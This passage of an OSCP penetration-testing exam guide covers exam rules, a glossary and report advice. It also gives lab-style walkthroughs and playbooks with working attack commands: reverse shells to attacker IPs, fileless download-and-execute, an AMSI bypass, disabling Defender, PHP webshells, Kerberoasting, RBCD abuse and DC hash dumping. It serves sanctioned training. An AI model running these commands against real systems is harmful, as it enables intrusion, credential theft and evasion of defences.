| GetUserSPNs.py / GetNPUsers.py | Kerberoast / AS-REP roast. | With any domain cred (Kerberoast) or just usernames (AS-REP). Crack offline with modes 13100 / 18200. |
| secretsdump.py / nxc --ntds | Dumps the DC hashes once you are Domain Admin. | Endgame, after you own the DC. Collect every hash for the report and for lateral movement. |
| getST.py | S4U impersonation (delegation). | For delegation and RBCD chains — mint a service ticket as any user against the allowed SPN. |
| nxc (smb/winrm/mssql/ldap/rdp/ssh) | Tests creds and enumerates across every protocol. | Every time you find a new credential — spray it across all protocols and the whole subnet with --continue-on-success. |
| GTFObins one-liners | Escapes from allowed/SUID binaries. | Paste the matching snippet the instant sudo -l or a SUID find names a binary on the site. |
| Key file locations table | Where creds hide. | Read it once so you know what to grep for during post-exploitation — history files and config files are the usual jackpots. |
Glossary — Key Terms for Beginners
Half the battle in OSCP is the vocabulary. If a term above confused you, find it here in plain English. Don't memorise — just understand what problem each technique solves.
Core Concepts
| Term | Plain-English Meaning |
|---|---|
| Enumeration | Information gathering. Finding every open port, service, version, file and user before attacking. The single most important skill. |
| Foothold / Initial Access | Your first shell on a target — getting any code execution as any user. |
| Privilege Escalation (PrivEsc) | Going from a low-privilege user to root (Linux) or SYSTEM/Administrator (Windows). |
| Shell | A command line on the remote machine. Reverse shell = target connects back to you; bind shell = you connect to a port the target opened. |
| Payload | The code you deliver to get a shell (e.g. a reverse-shell one-liner or an msfvenom binary). |
| Pivoting / Tunnelling | Using a machine you already own as a bridge to reach internal machines you can't touch directly. |
| Lateral Movement | Moving sideways from one compromised machine to another at the same privilege level. |
| Loot | Anything useful you grab post-exploitation: passwords, hashes, SSH keys, config files, history files. |
| CVE | A publicly catalogued vulnerability (e.g. CVE-2021-4034). Search them with searchsploit. |
Linux PrivEsc Terms
| Term | Plain-English Meaning |
|---|---|
| SUID binary | A program that runs as its owner (often root) no matter who launches it. If it's on GTFOBins, it's an escalation path. |
| sudo -l | Lists commands your user is allowed to run as root. Check each one against GTFOBins. |
| Cron job | A script Linux runs automatically on a schedule. If you can edit a root-owned cron script, you can run code as root. |
| Capabilities | Fine-grained root powers granted to a single binary (e.g. cap_setuid) — a sneaky escalation route. |
| GTFOBins | A website listing how to abuse common Linux binaries to break out to a shell or escalate. |
Web Attack Terms
| Term | Plain-English Meaning |
|---|---|
| SQL Injection (SQLi) | Sneaking database commands into an input box. Can dump credentials or, via MSSQL/xp_cmdshell, run OS commands. |
| LFI (Local File Inclusion) | Tricking a web app into reading server files it shouldn't (e.g. /etc/passwd). Can sometimes be escalated to code execution (log poisoning, PHP wrappers). |
| RFI (Remote File Inclusion) | Like LFI, but the app loads a file from your server — letting you serve a malicious payload for instant code execution. |
| Command Injection | An input that gets passed to the OS shell, letting you append your own commands (e.g. ; whoami). Direct path to a shell. |
| File Upload Bypass | Sneaking a webshell past weak upload filters, then browsing to it to run commands. |
| SSTI (Server-Side Template Injection) | Injecting template syntax the server evaluates — often leads to remote code execution. |
| IDOR | Changing an ID in a URL/request (?user_id=2) to access another user's data the app forgot to protect. |
| XSS (Cross-Site Scripting) | Injecting JavaScript that runs in another user's browser. Less central to OSCP than the server-side bugs above. |
| Webshell | A small script placed on a web server (e.g. <?php system($_GET['cmd']); ?>) that lets you run commands via the browser. |
| VHost | Multiple sites served from one IP, selected by the Host: header. Hidden vhosts often hold the real target — always fuzz for them. |
Windows / Active Directory Terms
| Term | Plain-English Meaning |
|---|---|
| Domain Controller (DC) | The central server holding all AD users, computers and password hashes. The final boss. |
| Domain Admin (DA) | The "god mode" account over the whole Windows domain. Your goal in the AD set. |
| NTLM Hash | The stored form of a Windows password. You can often log in with the hash itself — no cracking needed. |
| Pass-the-Hash (PTH) | Authenticating using a stolen NTLM hash instead of the plaintext password. |
| Kerberoasting | Requesting service tickets that contain a crackable hash of a service account's password. |
| AS-REP Roasting | Grabbing a crackable hash for any account that has Kerberos pre-auth disabled — no password needed to request it. |
| BloodHound | A tool that maps the AD network into a graph and literally shows you the shortest path to Domain Admin. |
| ACL Abuse | Exploiting a permission someone misconfigured (e.g. you can reset another user's password) to climb privileges. |
When You're Stuck — Troubleshooting
Feeling stuck is normal and happens on every box, in the lab and in the exam. Being stuck almost never means "I need a harder exploit." It means you've missed information. Work this list top to bottom before you give up on a machine.
The "I'm Stuck" Checklist
- Did I scan all 65,535 TCP ports (
nmap -p-), not just the top 1000? - Did I check UDP (SNMP / TFTP / DNS often hide the foothold)?
- Did I note the exact version of every service and run
searchsploiton each? - On web: did I check source code, robots.txt, /.git, comments and brute-force directories with a bigger wordlist?
- Did I try VHosts / subdomains (add the domain to
/etc/hostsfirst)? - Did I try default, blank and anonymous credentials on every login?
- Did I reuse every password/hash I've found against every other service and user?
- Did I read .bash_history, PowerShell history, config files and home directories?
- Did I re-run my enumeration as the new user after getting a foothold?
- Is my reverse shell failing? Try a different port (80, 443, 53) — outbound filtering is common.
Stuck Decision Tree
OSCP+ Full Operator Checklist — 1229 Items
A separate, self-contained interactive checklist bolted onto this guide — 18 phases, 1229 items pulled straight from the OSCP+ Ultimate Pentest Checklist tool. Tick items as you clear them; progress saves in your browser (localStorage), nothing leaves your machine.
Exam Day Rules & Restrictions (Official)
Everything below is pulled directly from OffSec's official OSCP+ Exam Guide (last updated April 2026). Every other section of this guide teaches technique — this section is the rulebook. A perfect exploit chain scores zero if it breaks one of these rules.
Banned Tools & Techniques
| Category | Examples (named explicitly by OffSec) |
|---|---|
| Spoofing | IP, ARP, DNS, NBNS spoofing — any of it |
| Commercial tools | Metasploit Pro, Burp Suite Pro, Cobalt Strike |
| Automatic exploitation tools | db_autopwn, browser_autopwn, SQLmap, SQLninja — yes, sqlmap is explicitly named |
| Mass vulnerability scanners | Nessus, Nexpose, OpenVAS, Canvas, Core Impact, SAINT |
| AI chatbots — any | ChatGPT, Gemini, DeepSeek, OffSec KAI, YouChat — third-party help, violates Academic Policy |
Allowed and encouraged: Nmap (+ NSE), Nikto, Burp Free, DirBuster, gobuster/ffuf/feroxbuster, manual exploitation — anything that isn't automating the actual exploit decision for you. Discord is fine to read for general research; asking anyone for exam-specific help is not.
Metasploit Restrictions (Official Wording)
- ✓ msfvenom and multi/handler (
exploit/multi/handler) — unrestricted, use on every target, as many times as you like - ✓ Metasploit Auxiliary, Exploit, and Post modules, and the Meterpreter payload — allowed against exactly one target of your choice, unlimited times against that one target
- ✗ The moment you use a module or Meterpreter against your chosen target — even if the attack fails — that choice is locked in. You cannot use Metasploit/Meterpreter against any other machine for the rest of the exam
- ✗ You cannot use the check command against multiple boxes to "test" before picking your one target — running
checkcounts as using it on that machine - ✗ Metasploit cannot be used for pivoting — routing through it to reach a second host counts as touching that second host
- ✗ The same limits apply through any other interface that wraps Metasploit — Armitage, Cobalt Strike, Metasploit Community Edition, etc.
AI Usage Policy
You are NOT required to disable general AI features baked into unrelated tools (Notion AI, Google's AI Overview in search results) — the restriction is specifically about asking an AI to help you solve exam objectives.
Proof File & Screenshot Rules
Proof must come from an interactive shell using cat/type from the file's original location — /root/proof.txt or Administrator's Desktop for proof.txt, any unprivileged user's home/Desktop for local.txt. Reading it any other way (web shell, file download, etc.) = zero points for that entire machine, no exceptions.
- ✓ Screenshot must show the file contents AND the target's IP in the same frame (
ip a/ifconfig/ipconfig) - ✓ Windows: shell must run as SYSTEM, Administrator, or a user with Administrator privileges for full points
- ✓ Linux: shell must be root for full points
- ✓ Submit proof contents in the exam control panel before time ends — and include the screenshot in your report. Both, not either.
Machine Reverts
You get 24 reverts total, resettable once during the exam. All machines start freshly reverted — you won't need one at the beginning. Click once and wait; don't spam the button.
Instant Zero-Point Triggers (Official List)
- ✗ Using a restricted/banned tool on that target (see the table above)
- ✗ Using Metasploit Auxiliary/Exploit/Post modules on more than one machine
- ✗ Using the Meterpreter payload on more than one machine
- ✗ Not providing local.txt/proof.txt contents in both the control panel and an interactive-shell screenshot
- ✗ Insufficient documentation for that target's exploitation path
Exploit Code — What to Include in Your Report
| Situation | What to submit |
|---|---|
| Exploit used unmodified | Just the URL. Do NOT paste the full script, especially if long. |
| Exploit modified | Modified code + original URL + highlighted diff + why you changed it |
Submission Checklist
- Report is a single PDF
- Named exactly
OSCP-OS-XXXXX-Exam-Report.pdf(your OSID, case-sensitive) - Archived into .7z — no password (encrypted archives are rejected)
- Archive named exactly
OSCP-OS-XXXXX-Exam-Report.7z - Under 200MB total (compress screenshots if over)
- Uploaded to
upload.offsec.comwithin 24 hours of exam end - Verify the MD5 hash shown after upload matches your local file before clicking Submit
Common Reasons Candidates Fail (Community + Official)
- ✗ Rabbit-holing one box for hours past the 45-min rotate rule — hardest habit to break under pressure
- ✗ Skipping full-range scans (
-p-/ UDP top ports) and tunnel-visioning on the first open port - ✗ Using sqlmap / automated tools out of habit → zero points on an otherwise-solved box
- ✗ Getting proof.txt through a web shell instead of an interactive one
- ✗ No sleep before report writing → 4-6 exhausted hours produce an unclear report that loses points on machines actually rooted
- ✗ Screenshots missing the IP, or taken after the VPN disconnected (can't retake — plan ahead)
- ✗ Starting AD late instead of in the first 3 hours, then running out of time on the 40-point set
Screenshot Naming Convention (Speeds Up Report Writing)
ss-01-<target>-initial-recon.png
ss-02-<target>-foothold-shell.png
ss-03-<target>-privesc-proof.png
ss-04-<target>-root-proof.png
Sortable, consistent names mean you can drop them straight into the report in order instead of hunting through a folder of Screenshot 2026-09-17 at 3.42.11 AM.png at hour 20.
Pre-Exam Day Checklist (Non-Technical, Still Critical)
- ☐ Kali VM snapshotted fresh, tools updated, disk space checked
- ☐ Backup internet connection identified (hotspot/neighbor) in case primary drops
- ☐ ID ready for proctoring check-in, webcam + mic tested
- ☐ Report template downloaded and pre-filled with headers/sections
- ☐ Food, water, caffeine staged — you will not want to leave the desk
- ☐ Sleep schedule adjusted so exam start time isn't your normal sleep window
- ☐ Told people you're unreachable for ~24h
Realistic End-to-End Walkthroughs
Every other section teaches pieces. This one shows three complete, realistic exam-style walks — a Linux standalone, a Windows standalone, and the full AD set — narrated the way you should be thinking under pressure. Notice the rhythm: enumerate wide → find one weakness → exploit → escalate → loot → reuse the loot on the next target. The specific exploits change every exam; the rhythm never does.
These aren't a specific exam's boxes. They're composites of box patterns that recur constantly, so you can pattern-match fast when you meet the real thing.
Walkthrough A — Linux Standalone (web app → LFI → SSH → sudo root)
nmap -p- -sV -sC -oN box1_full.txt 10.10.10.11
# → 22/tcp OpenSSH 8.2p1 · 80/tcp Apache httpd 2.4.41
curl -I http://10.10.10.11
whatweb http://10.10.10.11 -v # → "DevBlog" custom PHP app
gobuster dir -u http://10.10.10.11 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,bak -t 40
# → /login.php /includes/ /uploads/ /README.txt
Thinking: a login page (/login.php) plus an /includes/ directory screams "look for a parameter that loads a file". Always test the login for SQLi and the pages for LFI before anything heavier.
# LFI test on the page parameter:
curl "http://10.10.10.11/index.php?page=../../../../etc/passwd"
# → works: LFI confirmed
# Read the app source instead of executing it (php://filter), to grab DB creds:
curl "http://10.10.10.11/index.php?page=php://filter/convert.base64-encode/resource=config.php" | base64 -d
# → db_user: devblog / db_pass: D3vBl0g_2024!
# Try that password everywhere (reuse!):
ssh devblog@10.10.10.11 # same password → shell as the app owner
Thinking: LFI gave us source (credentials), and password reuse gave us SSH. A real OSCP box almost always chains exactly like this. Once on the box, escalate methodically.
sudo -l
# → (root) NOPASSWD: /usr/bin/find
# GTFOBins → find escape:
sudo find . -exec /bin/bash \; -p
id # → uid=0(root)
cat /root/proof.txt # take the proof screenshot NOW
whoami && hostname && ip a
Walkthrough B — Windows Standalone (WebDAV → ASPX shell → Potato → SYSTEM)
nmap -p- -sV -sC -oN box2_full.txt 10.10.10.22
# → 80/http · 445/smb · 3389/rdp · 5985/winrm
# Web + SMB recon in parallel:
whatweb http://10.10.10.22 -v
nxc smb 10.10.10.22 -u '' -p '' --shares
# IIS + WebDAV allowed on /uploads → WebDAV is a foothold
davtest -url http://10.10.10.22/uploads
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f aspx -o shell.aspx
# start listener, then upload:
curl -T shell.aspx http://10.10.10.22/uploads/shell.aspx
curl http://10.10.10.22/uploads/shell.aspx # fires the shell as the IIS app-pool user
Thinking: a webshell is a real shell running as the IIS application-pool account. Upgrade it: get a proper PowerShell session (e.g. via a second reverse shell) and immediately check the token.
whoami /priv
# → SeImpersonatePrivilege = Enabled → Potato time
# GodPotato (works on modern builds via DCOM):
.\GodPotato-NET4.exe -cmd "C:\Temp\nc.exe 10.10.14.5 9001 -e cmd"
# (or) PrintSpoofer if the Spooler service is running:
.\PrintSpoofer64.exe -c "C:\Windows\Temp\nc.exe 10.10.14.5 9001 -e cmd"
whoami # → nt authority\system
type C:\Users\Administrator\Desktop\proof.txt
hostname & whoami & ipconfig /all # screenshot all of it
Thinking: over half of Windows standalones end at SeImpersonatePrivilege → Potato → SYSTEM. If you don't see that privilege, the fallback order is unquoted service path → AlwaysInstallElevated → stored creds (history/cmdkey) → kernel exploit (last).
Walkthrough C — The Full AD Set (Kerberoast → MSSQL → linked server → Domain Admin)
# ── Phase 1: enumerate with the given creds (do this FIRST, in parallel) ──
bloodhound-python -u stephanie -p 'Password123' -d corp.local -ns 192.168.10.100 -c All --zip
nxc smb 192.168.10.0/24 -u stephanie -p 'Password123' --continue-on-success
# Quick wins in one batch:
ldapsearch -x -H ldap://192.168.10.100 -D "stephanie@corp.local" -w 'Password123' \
-b "DC=corp,DC=local" "(&(objectClass=user)(description=*))" sAMAccountName description
GetUserSPNs.py corp.local/stephanie:'Password123' -dc-ip 192.168.10.100 -request -outputfile kerb.txt
hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# → svc_mssql : Summer2024!
Thinking: a cracked SPN account. Before doing anything clever, spray it everywhere — service accounts are frequently local admin somewhere.
# ── Phase 2: foothold on MS01 (local.txt = 10) ──
nxc mssql 192.168.10.101 -u svc_mssql -p 'Summer2024!' --local-auth
mssqlclient.py corp.local/svc_mssql:'Summer2024!'@192.168.10.101 -windows-auth
# SQL> SELECT IS_SRVROLEMEMBER('sysadmin'); -- 1
# SQL> EXEC sp_configure 'show advanced options',1; RECONFIGURE;
# SQL> EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
# SQL> EXEC xp_cmdshell 'whoami'; -- corp\svc_mssql
# SQL> EXEC xp_cmdshell 'powershell -enc <reverse-shell-b64>'
type C:\Users\svc_mssql\Desktop\local.txt # MS01 local.txt ✅ (10 pts)
Thinking: we're on MS01 as a service account. Local privesc often isn't even needed to pivot — but check whoami /priv anyway. Next: MSSQL linked servers are a classic AD-set pivot.
# ── Phase 3: pivot MS01 → MS02 via linked server (local.txt = 10) ──
# SQL> EXEC sp_linkedservers; -- MS02\SQLEXPRESS
# SQL> EXEC ('sp_configure ''xp_cmdshell'',1; RECONFIGURE;') AT [MS02\SQLEXPRESS];
# SQL> EXEC ('xp_cmdshell ''powershell -enc <reverse-shell-b64>''') AT [MS02\SQLEXPRESS];
type C:\Users\Administrator\Desktop\local.txt # MS02 local.txt ✅ (10 pts)
# Also: dump MS02 and grep for a Domain Admin who logged in here:
nxc smb 192.168.10.102 -u svc_mssql -p 'Summer2024!' -M lsassy
Thinking: 20 points banked. Now find the road to Domain Admin. Re-run BloodHound with every new credential, and look at what MS01/MS02 can reach.
# ── Phase 4: escalate to Domain Admin ──
# BloodHound (as svc_mssql) shows: MS01$ has GenericAll over DC01$
# → set up RBCD from a machine account you control:
addcomputer.py -computer-name 'FAKE01$' -computer-pass 'P@ssw0rd123!' corp.local/svc_mssql:'Summer2024!' -dc-ip 192.168.10.100
rbcd.py -delegate-from 'FAKE01$' -delegate-to 'DC01$' -action write corp.local/svc_mssql:'Summer2024!' -dc-ip 192.168.10.100
getST.py -spn cifs/DC01.corp.local -impersonate Administrator corp.local/FAKE01$:'P@ssw0rd123!' -dc-ip 192.168.10.100
export KRB5CCNAME=Administrator@cifs_DC01.corp.local@CORP.LOCAL.ccache
nxc smb DC01.corp.local -u Administrator -H <DA_NTLM> --ntds # dump the DC hashes
Alternative Phase 4 paths (use whichever BloodHound shows first): WriteDACL → add yourself to a privileged group; GenericAll → reset a Domain Admin password; unconstrained delegation → coerce DC → capture TGT → pass-the-ticket. All end the same way: Domain Admin.
# ── Phase 5: own the DC (proof.txt = 20) ──
psexec.py corp.local/Administrator@192.168.10.100 -hashes :<DA_NTLM>
type C:\Users\Administrator\Desktop\proof.txt
hostname & whoami /all & ipconfig /all # DOMAIN ADMIN proof screenshot ✅
# Bonus for the report: nxc smb <DC> -u Administrator -H <DA_NTLM> --ntds (dump the whole DC)
Total: 40 / 40 AD points. Add 30 more from three standalone local.txt files and you've passed with room to spare — without ever needing full privesc on the standalones.
What's Actually on the Exam in 2025-26 (Reality Check)
Two big format facts are firm: the exam is 3 standalone boxes + a 3-machine AD set, you need 70/100, and the old lab bonus points are gone. Everything below is what you'll actually meet inside that format.
What's on the boxes most often
| Category | What you'll realistically meet |
|---|---|
| Linux standalones | A web app (PHP/Node/Flask/Python) on 80/443, very often plus a CI/CD or app server on 8080 — Jenkins, Tomcat, GitLab, Gitea. Also watch FTP, SNMP, NFS or MySQL as the intended foothold. Privesc usually = sudo right, SUID/capability, writable cron/systemd, or a reused credential. |
| Windows standalones | IIS/web app, SMB, WinRM, RDP. Entry via a web vuln, SMB nuance, or a leaked credential. Privesc usually = SeImpersonate → Potato, unquoted service path, or stored creds. |
| The AD set | Assumed breach (creds given). The chain almost always passes through 2–3 of: description-field password, Kerberoast/AS-REP, GPP/SYSVOL, ACL abuse (GenericAll/WriteDACL/WriteOwner), delegation (incl. RBCD), MSSQL linked servers, or password/hash reuse. |
| Difficulty spread | Expect one easier, one medium and one harder standalone so a prepared candidate can clear ~2.5 of 3. The AD set is engineered to be completable but only if you follow the chain. |
What is NOT on the exam (stop prepping it)
Buffer overflow was removed from PEN-200 and the exam in the 2023 update — AD took its place. Keep BOF for OSED/HTB, but don't expect it on exam day.
sqlmap, db_autopwn, browser_autopwn, SQLninja and mass scanners (Nessus/OpenVAS/…) are banned and score zero on the target. No AI chatbots during the exam. Full list in Section 19.
Realism tips that decide pass/fail
- Enumerate wide before going deep. Full TCP (
-p-) + UDP top ports on every box, in parallel, before you commit to a path. - Rotate at 45–60 minutes. A box you can't crack isn't getting easier by staring. Move, come back with fresh eyes — or revert it.
- Do the AD set in the first 3 hours. It's the most predictable points, and leaving it late is the classic way people run out of time.
- Every credential goes everywhere. Spray each password/hash across all users, protocols and hosts. Reuse wins more OSCP points than any single exploit.
- Proof from an interactive shell, from the original path, with the IP in frame. The most common silent failure is reading
proof.txtthrough a web shell. - Note as you go. The report is graded. If you can't reproduce a step from your notes, it may not count.
Payload Delivery, AV & AMSI (2025-26)
Most OSCP boxes have no advanced EDR. Try the simple thing first (a plain reverse shell, IEX from your server, or a webshell). Only reach for AV/AMSI tricks when a payload is actually blocked — burning an hour on evasion for a box with Defender off is a self-inflicted wound.
The escalation ladder when a payload won't run
IEX(New-Object Net.WebClient).DownloadString('http://LHOST/x.ps1') (fileless)
3. Encode it → base64 the PowerShell: powershell -enc <B64> (UTF-16LE)
4. AMSI bypass → patch amsiInitFailed in the same session, then run the payload
5. Living off the land → use a signed binary (certutil/bitsadmin/rundll32) so nothing "new" executes
6. Change payload type → staged→stageless, or a different language
7. Only now: obfuscate an EXE (msfvenom encoders/iterations) — lowest priority, highest time cost# AMSI bypass (in-memory, current session only — run it BEFORE your payload):
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').
GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# Execution-policy bypass + fileless load:
powershell -ep bypass -c "IEX(IWR 'http://10.10.14.5/payload.ps1' -UseBasicParsing)"
# Base64-encode a PowerShell command (UTF-16LE) to dodge simple filters:
# echo -n 'IEX(...)' | iconv -t UTF-16LE | base64 -w0
powershell -enc <BASE64>
# If you are ALREADY admin and Defender is the only blocker (use sparingly):
Set-MpPreference -DisableRealtimeMonitoring $true
| Technique | What it does | When & why |
|---|---|---|
| IEX / DownloadString | Runs a remote script only in memory. | First thing when an uploaded EXE is quarantined. Nothing hits disk, so most on-access AV stays quiet. |
| AMSI bypass (amsiInitFailed) | Disables Windows' script-scanning interface for your session. | When a PowerShell payload is detected as it runs. Must be executed in the same session as the payload. |
base64 -enc | Obfuscates the command line. | When a string-based signature (or logging) blocks your command. It's encoding, not encryption — pair it with an AMSI bypass for real effect. |
| certutil / bitsadmin / rundll32 | Living-off-the-land downloaders and loaders. | When PowerShell itself is locked down. They're signed Microsoft binaries, so they blend in. |
| msfvenom encoders / iterations | Obfuscate a generated binary. | Last resort. Modern Defender often catches plain shikata_ga_nai; don't spend an hour here — switch payload type instead. |
| Set-MpPreference -DisableRealtimeMonitoring | Turns off Defender real-time scanning. | Only when you already have admin/ SYSTEM and Defender is your sole obstacle. It's loud and reverts on reboot. |
Golden rule: on the exam, a working simple payload beats a clever blocked one. If evasion is eating your clock, change the delivery method, not the obfuscation.
Report Writing That Passes (Realistic)
You have 24 hours to hack and 24 hours to write. A perfect exploit chain with a thin report loses points; a clear report guarantees the points you earned. The report is graded on documentation quality — so build it as you go, not from memory at hour 40.
Recommended structure
| Section | What goes in it | Why it matters |
|---|---|---|
| Cover / metadata | Your OSID, exam date, exam ID, your name. | OffSec matches your submission to you. Rushed reports lose points on wrong OSID. |
| High-level summary | Which boxes were rooted, points claimed, and a one-paragraph narrative of each chain. | Gives the grader the map before the detail — makes every later section easier to follow. |
| Per-machine section | Recon → foothold → privesc → proof, in order, with the exact commands and the screenshots inline. | This is where points actually live. Reproducibility is the pass bar. |
| Exploit code | URL only if unmodified; the modified code + original URL + diff + reason if you changed it. | OffSec's rule. Pasting a 500-line unmodified script can count against you; omitting your changes is worse. |
| Proof | local.txt/proof.txt contents (also submitted in the control panel) + the screenshot showing flag + whoami + hostname + IP. | Both the panel and the screenshot are required. One without the other = zero for that machine. |
| Remediation | For each finding, a short fix (patch, config, least-privilege). | Turns a "how I hacked you" into a professional deliverable — and it's explicitly graded. |
Write it as you go (the habit that saves you)
- Keep a running notes file per machine (
~/exam/box1/notes.md) — paste every working command the moment it works. - Name screenshots the second you take them (
ss-01-box1-foothold.png). Never rely on remembering later. - Record the exact command, its output, and one line of why — not a summary.
- Note the CVE / misconfiguration name for each step (you'll cite it in the finding).
- Do a dry-run of the report template before exam day so hour 25 is assembly, not design.
Submission mechanics (get these exactly right)
# 1. Export a single PDF → OSCP-OS-XXXXX-Exam-Report.pdf (case-sensitive OSID)
# 2. Archive it, NO password → OSCP-OS-XXXXX-Exam-Report.7z
# 3. Keep the total under 200 MB (compress oversized screenshots)
# 4. Upload to upload.offsec.com within 24h of the exam ending
# 5. Verify the MD5 shown after upload matches your local file, THEN submit
1. Proof read through a web shell or downloaded instead of cat/type from the original path in an interactive shell. 2. Screenshots missing the target IP or the privilege context (whoami). 3. Steps described but not reproducible — commands left out, IPs replaced with "the target", or a chain that skips the pivot.
CMS Exploitation Playbook — The Ones That Appear on OSCP
A CMS is a "ready-made web app" with a known structure, known files, and a public database of vulnerable plugins/themes. That means the same 3-step recipe works almost every time: (1) fingerprint the CMS + exact version → (2) match a known plugin/theme/core CVE or grab default/leaked creds → (3) get admin, then use the CMS's own template/plugin editor to run PHP = RCE.
Order of attack: fingerprint → enumerate plugins/users → try that plugin's known RCE → try admin creds (default / leaked / reused) → if admin, edit a theme/plugin file to drop a webshell → loot the config file for DB creds → SQL → RCE or pivot.
Tool of choice: wpscan (WordPress), joomscan (Joomla), plus searchsploit <cms> <version> for everything. Since CMS files have fixed paths (/wp-content/, /administrator/, /CHANGELOG.txt), version detection is instant.
WordPress — by far the most common CMS on OSCP
# ── 1. Fingerprint + exact version (+ users, plugins, themes) ──
whatweb -a3 http://<IP> -v
wpscan --url http://<IP> --enumerate vp,vt,u --plugins-detection aggressive
curl -s http://<IP>/wp-login.php | grep -i generator # version in meta
curl -s "http://<IP>/?author=1" # → redirects to /author/<username>/
# ── 2. Attack the weak spot: an outdated PLUGIN ────────────────
# wpscan names vulnerable plugins → take the version to searchsploit:
searchsploit wordpress <plugin> <version>
# ── 3. Brute force login (xmlrpc bypasses some rate-limits) ───
wpscan --url http://<IP> -U users.txt -P /usr/share/wordlists/rockyou.txt --password-attack xmlrpc
curl -s http://<IP>/xmlrpc.php # confirm it's enabled first
# ── 4. Got admin? Use the built-in editors for instant RCE ─────
# Admin → Appearance → Theme File Editor → pick an inactive theme → 404.php:
# <?php system($_GET['cmd']); ?>
# Then browse: http://<IP>/wp-content/themes/<inactive-theme>/404.php?cmd=id
#
# OR Admin → Plugins → Add New → Upload Plugin:
# zip a .php with a plugin header → activate → browse to it.
# ── 5. Loot the config for DB creds (after shell or via LFI) ───
cat /var/www/html/wp-config.php
# → DB_USER / DB_PASSWORD / DB_HOST → mysql -h <IP> -u <user> -p → Section 25
Joomla
joomscan -u http://<IP>
# ── Exact version ──
curl -s http://<IP>/administrator/manifests/files/joomla.xml | grep -i version
curl -s http://<IP>/language/en-GB/en-GB.xml | grep -i version
# ── Source/config disclosure (classic quick win) ──
curl -s http://<IP>/configuration.php~ # editor backup of the config
curl -s http://<IP>/configuration.php.bak
curl -s http://<IP>/htaccess.txt
# → leaks DB creds / log path / mail creds
# ── Admin panel (default admin:admin is still seen) ──
# http://<IP>/administrator
# ── Known CVEs ──
# CVE-2017-8917 (Joomla 3.7.0) — com_fields SQLi (auth-less):
http://<IP>/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=extractvalue(1,concat(0x7e,version()))
# CVE-2015-8562 (1.5–3.4.5) — RCE via crafted User-Agent (PHP object injection)
# ── Got admin? Templates → edit a template PHP file → webshell ──
# Extensions → Templates → Templates → pick a template → edit index.php:
# <?php system($_GET['cmd']); ?>
Drupal
# ── Version ──
curl -s http://<IP>/CHANGELOG.txt | head # Drupal 7
curl -s http://<IP>/core/CHANGELOG.txt | head # Drupal 8/9
curl -s http://<IP>/core/install.php | grep -i drupal
# ── CVE-2018-7600 "Drupalgeddon2" — pre-auth RCE (7.x <7.58, 8.x <8.3.9/8.4.6/8.5.1) ──
# PoC: drupalgeddon2 / MSF exploit/unix/webapp/drupal_drupalgeddon2
# Endpoint abused: /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax
# ── CVE-2018-7602 — second RCE (needs auth or a way in) ──
# ── CVE-2014-3704 "Drupalgeddon1" — SQLi (Drupal 7.x) → admin → RCE ──
# ── Got admin? Enable the PHP filter and put PHP in content ──
# Modules → enable "PHP filter" → Content → add basic page, text format = PHP code:
# <?php system($_GET['cmd']); ?>
Moodle, Magento & friends
# ── Moodle ──
curl -s http://<IP>/login/index.php
# config.php (via LFI/shell) → DB creds
# Admin → Site administration → Plugins → Install plugins → upload a malicious plugin (RCE)
# CVE-2018-1133 — authenticated RCE in the calculated-question type
# ── Magento ──
curl -s http://<IP>/magento_version # version
# admin: /admin (try admin:admin123)
# CVE-2022-24086 — pre-auth RCE on Magento < 2.4.4 (crafted customer/email fields)
# creds in: app/etc/env.php
# ── Other CMSes that show up (quick paths) ──
# Tiki Wiki → CVE-2020-15906 (auth bypass → RCE), CVE-2021-26119 (Smarty SSTI)
# CuteNews → CVE-2019-11447 (avatar upload → RCE)
# Concrete5 → CVE-2018-... admin → file manager upload
# Umbraco → Windows/.NET; /umbraco admin; version in /umbraco/...
# Ghost / Gitea / GitLab → config + webhooks / API tokens
Other web apps seen in labs — RiteCMS, Barracuda, FMS
# ── RiteCMS (small flat-file PHP CMS) ──
curl -s http://<IP>/ | grep -i ritecms
curl -s http://<IP>/data/ # RiteCMS keeps its data here (backup .db, uploads, config)
# Default creds are frequently admin:admin (login at /?p=login or /admin)
# As admin → File manager / Content editor → write or upload a .php file:
# <?php system($_GET['cmd']); ?>
# Then browse to the uploaded file. searchsploit ritecms
# ── BarracudaDrive / Barracuda Embedded Web Server (Real Time Logic) ──
curl -sI http://<IP>/ | grep -i barracuda
# Presents a login page on 80/443; version is in the page footer or Server header
searchsploit barracuda # public RCE PoC for the affected version
# Classic chain: exploit the web server → command execution (it often runs as a
# Windows service, so you frequently land as SYSTEM / the service account).
# ── FMS — cover the two common meanings ──
# FileMaker Server (FMS): admin console on 16000/16001, web on 80; banner shows version
# searchsploit filemaker
# Adobe Flash Media Server (FMS): admin on 1111; legacy buffer-overflow PoCs
# searchsploit "flash media server"
# Either way: fingerprint the banner → searchsploit the exact version → read the PoC.
| Command / step | What it does | When & why |
|---|---|---|
| wpscan --enumerate vp,vt,u | Lists WordPress version, vulnerable plugins, themes and usernames. | First move on a WordPress site. An outdated plugin is the single most common WordPress foothold — far more than core bugs. |
| ?author=1 / wpscan -e u | Enumerates usernames. | Before any password attack — you need valid usernames, and WordPress leaks them through author URLs. |
| --password-attack xmlrpc | Brute-forces the login over XML-RPC. | When the normal login is rate-limited. Check xmlrpc.php exists first. |
| Theme/Plugin editor webshell | Runs your PHP as the web user. | As soon as you get admin. No exploit needed — the CMS is designed to let admins edit PHP. |
| wp-config.php | Holds DB + sometimes secret keys. | After any file-read/shell. DB creds → MySQL (Section 25) → often RCE. |
| Joomla configuration.php~ | A leaked config backup. | Always curl it on a Joomla box — editor backups are a famous free credential leak. |
| Drupalgeddon2 PoC | Pre-auth RCE on unpatched Drupal. | Once the version says 7.5x / 8.x pre-patch. Check the version before hunting for a plugin. |
| PHP filter / calculated-question / template edit | Admin-level PHP execution. | Per-CMS way to turn admin into a shell when no file editor is exposed. |
| searchsploit <cms> <version> | Finds public exploits for that exact version. | After fingerprinting — always match the exact version; a plugin CVE often applies to a tiny range. |
